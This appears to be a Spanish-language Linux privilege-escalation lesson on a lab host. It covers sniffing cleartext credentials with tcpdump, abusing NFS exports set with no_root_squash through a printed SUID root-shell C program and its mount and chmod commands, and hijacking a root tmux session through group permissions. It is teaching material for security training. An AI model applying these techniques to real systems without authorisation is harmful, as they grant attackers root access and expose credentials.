Saltar a contenido

Miscellaneous Techniques

Passive Traffic Capture

Si tcpdump está instalado, los usuarios sin privilegios pueden capturar el tráfico de red, incluyendo, en algunos casos, credenciales que se transmiten en texto claro. Existen varias herramientas, como net-creds y PCredz que se pueden usar para examinar los datos que se transmiten. Esto puede resultar en la captura de información sensible como números de tarjetas de crédito y cadenas de comunidad SNMP. También puede ser posible capturar hashes de Net-NTLMv2, SMBv2 o Kerberos, los cuales podrían ser sometidos a un ataque de fuerza bruta offline para revelar la contraseña en texto claro. Protocolos de texto claro como HTTP, FTP, POP, IMAP, telnet o SMTP pueden contener credenciales que podrían ser reutilizadas para escalar privilegios en el host.


Weak NFS Privileges

Network File System (NFS) permite a los usuarios acceder a archivos o directorios compartidos a través de la red alojados en sistemas Unix/Linux. NFS utiliza el puerto TCP/UDP 2049. Cualquier montaje accesible puede ser listado remotamente emitiendo el comando showmount -e, que lista la exportación del servidor NFS (o la lista de control de acceso para sistemas de archivos) que los clientes NFS.

showmount -e 10.129.2.12

Export list for 10.129.2.12:
/tmp             *
/var/nfs/general *

Cuando se crea un volumen NFS, se pueden configurar varias opciones:

Opción Descripción
root_squash Si el usuario root se usa para acceder a las comparticiones NFS, será cambiado al usuario nfsnobody, que es una cuenta sin privilegios. Cualquier archivo creado y subido por el usuario root será propiedad del usuario nfsnobody, lo cual previene que un atacante suba binarios con el bit SUID establecido.
no_root_squash Los usuarios remotos que se conecten a la compartición como el usuario root local podrán crear archivos en el servidor NFS como el usuario root. Esto permitiría la creación de scripts/programas maliciosos con el bit SUID establecido.
htb@NIX02:~$ cat /etc/exports

# /etc/exports: the access control list for filesystems which may be exported
#       to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/var/nfs/general *(rw,no_root_squash)
/tmp *(rw,no_root_squash)

Por ejemplo, podemos crear un binario SETUID que ejecute /bin/sh usando nuestro usuario root local. Luego podemos montar el directorio /tmp localmente, copiar el binario propiedad del root al servidor NFS y establecer el bit SUID.

Primero, crea un binario simple, monta el directorio localmente, cópialo y establece los permisos necesarios.

htb@NIX02:~$ cat shell.c 

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
  setuid(0); setgid(0); system("/bin/bash");
}
htb@NIX02:/tmp$ gcc shell.c -o shell
root@Pwnbox:~$ sudo mount -t nfs 10.129.2.12:/tmp /mnt
root@Pwnbox:~$ cp shell /mnt
root@Pwnbox:~$ chmod u+s /mnt/shell

Cuando volvamos a la sesión de bajo privilegio del host, podemos ejecutar el binario y obtener una shell root.

htb@NIX02:/tmp$  ls -la

total 68
drwxrwxrwt 10 root  root   4096 Sep  1 06:15 .
drwxr-xr-x 24 root  root   4096 Aug 31 02:24 ..
drwxrwxrwt  2 root  root   4096 Sep  1 05:35 .font-unix
drwxrwxrwt  2 root  root   4096 Sep  1 05:35 .ICE-unix
-rwsr-xr-x  1 root  root  16712 Sep  1 06:15 shell
<SNIP>
htb@NIX02:/tmp$ ./shell
root@NIX02:/tmp# id

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(htb)

Hijacking Tmux Sessions

Terminal multiplexers como tmux pueden ser usados para permitir múltiples sesiones de terminal sean accesibles dentro de una única sesión de consola. Cuando no estamos trabajando en una ventana tmux, podemos desconectarnos de la sesión, dejándola activa (por ejemplo, ejecutando un escaneo nmap). Por muchas razones, un usuario puede dejar un proceso tmux ejecutándose como un usuario con privilegios, como root configurado con permisos débiles, y puede ser secuestrado. Esto puede hacerse con los siguientes comandos para crear una nueva sesión compartida y modificar la propiedad.

htb@NIX02:~$ tmux -S /shareds new -s debugsess
htb@NIX02:~$ chown root:devs /shareds

Si podemos comprometer a un usuario en el grupo dev, podemos adjuntarnos a esta sesión y obtener acceso root.

Verifica cualquier proceso tmux en ejecución.

htb@NIX02:~$  ps aux | grep tmux

root      4806  0.0  0.1  29416  3204 ?        Ss   06:27   0:00 tmux -S /shareds new -s debugsess

Confirma los permisos.

htb@NIX02:~$ ls -la /shareds 

srw-rw---- 1 root devs 0 Sep  1 06:27 /shareds

Revisa nuestra membresía en grupos.

htb@NIX02:~$ id

uid=1000(htb) gid=1000(htb) groups=1000(htb),1011(devs)

Finalmente, adjúntate a la sesión tmux y confirma los privilegios root.

htb@NIX02:~$ tmux -S /shareds

id

uid=0(root) gid=0(root) groups=0(root)